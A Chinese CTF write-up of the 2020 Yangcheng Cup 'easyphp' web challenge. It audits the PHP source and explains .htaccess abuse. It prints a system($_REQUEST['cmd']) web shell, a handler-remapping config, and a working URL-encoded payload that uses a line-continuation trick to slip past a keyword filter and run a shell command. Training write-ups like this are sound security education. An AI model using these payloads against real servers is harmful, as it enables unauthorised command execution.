3.[羊城杯2020]easyphp

打开题目页面如下

给出PHP源码，进行代码审计

<?php
    // 使用 scandir 函数扫描当前目录（即 ./ 表示的当前目录），将目录下的所有文件和文件夹名存储到 $files 数组中
    $files = scandir('./'); 
    // 遍历 $files 数组，对数组中的每个元素（即每个文件或文件夹名）执行循环体操作
    foreach($files as $file) {
        // 判断当前 $file 是否为一个普通文件，而不是文件夹等其他类型
        if(is_file($file)){
            // 检查当前文件是否不是 "index.php"
            if ($file !== "index.php") {
                // 如果不是 "index.php"，则使用 unlink 函数删除该文件
                unlink($file);
            }
        }
    }
    // 检查 $_GET 数组中是否同时存在 'content' 和 'filename' 键
    // $_GET 数组用于获取通过 HTTP GET 方法传递的参数
    if(!isset($_GET['content']) || !isset($_GET['filename'])) {
        // 如果不存在，则使用 highlight_file 函数高亮显示当前文件（即本 PHP 文件）的源代码
        highlight_file(__FILE__);
        // 终止脚本的执行
        die();
    }
    // 从 $_GET 数组中获取 'content' 参数的值，并赋值给 $content 变量
    $content = $_GET['content'];
    // 使用 stristr 函数检查 $content 中是否包含 'on'、'html'、'type'、'flag'、'upload' 或 'file' 这些字符串
    // stristr 函数是不区分大小写的字符串查找函数
    if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
        // 如果包含，则输出 "Hacker" 字符串
        echo "Hacker";
        // 终止脚本的执行
        die();
    }
    // 从 $_GET 数组中获取 'filename' 参数的值，并赋值给 $filename 变量
    $filename = $_GET['filename'];
    // 使用 preg_match 函数进行正则表达式匹配
    // 正则表达式 "/[^a-z\.]/" 表示匹配除小写字母 a - z 和点号 . 之外的任何字符
    // 如果匹配到了，则 preg_match 函数返回 1
    if(preg_match("/[^a-z\.]/", $filename) == 1) {
        // 如果匹配到了非法字符，则输出 "Hacker" 字符串
        echo "Hacker";
        // 终止脚本的执行
        die();
    }
    // 再次扫描当前目录，将目录下的所有文件和文件夹名存储到 $files 数组中
    $files = scandir('./'); 
    // 再次遍历 $files 数组，对数组中的每个元素（即每个文件或文件夹名）执行循环体操作
    foreach($files as $file) {
        // 判断当前 $file 是否为一个普通文件，而不是文件夹等其他类型
        if(is_file($file)){
            // 检查当前文件是否不是 "index.php"
            if ($file !== "index.php") {
                // 如果不是 "index.php"，则使用 unlink 函数删除该文件
                unlink($file);
            }
        }
    }
    // 使用 file_put_contents 函数将 $content 内容加上换行符和 "Hello, world" 字符串写入到 $filename 指定的文件中
    // 如果文件不存在，则会创建该文件；如果文件已存在，则会覆盖原文件内容
    file_put_contents($filename, $content . "\nHello, world");
?>

这段代码的主要功能是：

清除当前目录下除 index.php 之外的所有文件。

接收通过 GET 请求传递的 content 和 filename 参数。

对 content 参数进行关键字过滤，防止包含特定敏感关键字。

对 filename 参数进行正则表达式验证，只允许包含小写字母和点号。

再次清除当前目录下除 index.php 之外的所有文件。

将 content 内容加上 "Hello, world" 写入到指定的文件中。

---

.htaccess 文件

.htaccess（Hypertext Access）文件是 Apache 服务器的一个配置文件，它允许用户在目录级别上对服务器进行配置，而无需修改主服务器配置文件。通过 .htaccess 文件，可以实现诸如 URL 重写、访问控制、文件类型映射等功能。

允许用户在不修改主服务器配置文件的情况下，对特定目录及其子目录进行个性化的配置。它为网站管理员提供了灵活的方式来定制服务器的行为，而无需直接操作服务器的主配置文件（如 httpd.conf）

利用 .htaccess 文件写入 Web Shell 的原理

如果服务器允许使用 .htaccess 文件，并且对用户上传的 .htaccess 文件没有进行严格的过滤和验证，可以上传包含恶意配置的 .htaccess 文件，将普通文件解析为 PHP 代码，从而实现 Web Shell 的功能。

具体实现步骤

1. 构造恶意 .htaccess 文件

将 .txt 文件解析为 PHP 代码

apache

<FilesMatch "\.txt$">
    SetHandler application/x-httpd-php
</FilesMatch>

上述代码的作用是将所有扩展名为 .txt 的文件按照 PHP 代码进行解析。

2. 上传恶意 .htaccess 文件

需要找到一个允许文件上传的漏洞点，将构造好的 .htaccess 文件上传到服务器的目标目录。

3. 上传包含 Web Shell 代码的 .txt 文件

上传一个包含 PHP Web Shell 代码的 .txt 文件

<?php
if(isset($_REQUEST['cmd'])){
    system($_REQUEST['cmd']);
}
?>

上述代码是一个简单的 Web Shell，通过 GET 或 POST 请求传递 cmd 参数，可以执行任意系统命令。

4. 访问 Web Shell

上传成功后，可以通过访问 .txt 文件并传递 cmd 参数来执行系统命令

plaintext

http://example.com/path/to/shell.txt?cmd=ls

---

构造payload

?filename=.htaccess&content=php_value%20auto_prepend_fil%5C%0Ae%20.htaccess%0A%23%3C%3Fphp%20system('cat%20/fla?')%3B%3F%3E%5C

这个 payload 是通过构造特定的请求参数，尝试利用 .htaccess 文件的配置功能来执行恶意代码，以达到读取服务器上可能存在的 flag 文件内容的目的，通常应用于存在文件上传或参数可控漏洞的 Web 应用场景。

参数分析

1. filename=.htaccess

这部分指定了文件名。当服务器接收这个请求并处理文件写入操作时，会将后续的内容写入到名为 .htaccess 的文件中。.htaccess 文件是 Apache 服务器的一个分布式配置文件，允许在目录级别对服务器进行配置，攻击者可利用它来改变服务器对文件的处理方式或执行特定操作。

2. content=php_value%20auto_prepend_fil%5C%0Ae%20.htaccess%0A%23%3C%3Fphp%20system('cat%20/fla?')%3B%3F%3E%5C

这部分是要写入 .htaccess 文件的内容，由于是 URL 编码后的形式，需要先进行解码。解码后内容为：

plaintext

php_value auto_prepend_fil\
e .htaccess
#<?php system('cat /fla?');?>

php_value auto_prepend_fil\ 和 e .htaccess：

这里利用了换行和拼接的技巧。正常的 PHP 指令是 php_value auto_prepend_file，用于指定在执行 PHP 脚本之前自动包含的文件。攻击者将这个指令拆分成两行，中间用反斜杠 \ 进行换行拼接，最终目的是让服务器将 .htaccess 文件自身作为预处理文件包含进来。这样，后续在执行该目录下的 PHP 脚本时，会先执行 .htaccess 文件中的内容。

#<?php system('cat /fla?');?>：

这部分虽然看起来是一个注释，实际上是攻击者的恶意代码。# 在 .htaccess 文件中是注释符号，但当 .htaccess 文件被当作 PHP 代码执行时，# 就失去了注释的作用。<?php system('cat /fla?');?> 是一段 PHP 代码，system 函数用于执行系统命令，cat /fla? 表示尝试读取以 fla 开头的文件内容，可能是为了获取服务器上存储的 flag 文件。

最后利用hackbar插件构造url

最终得到flag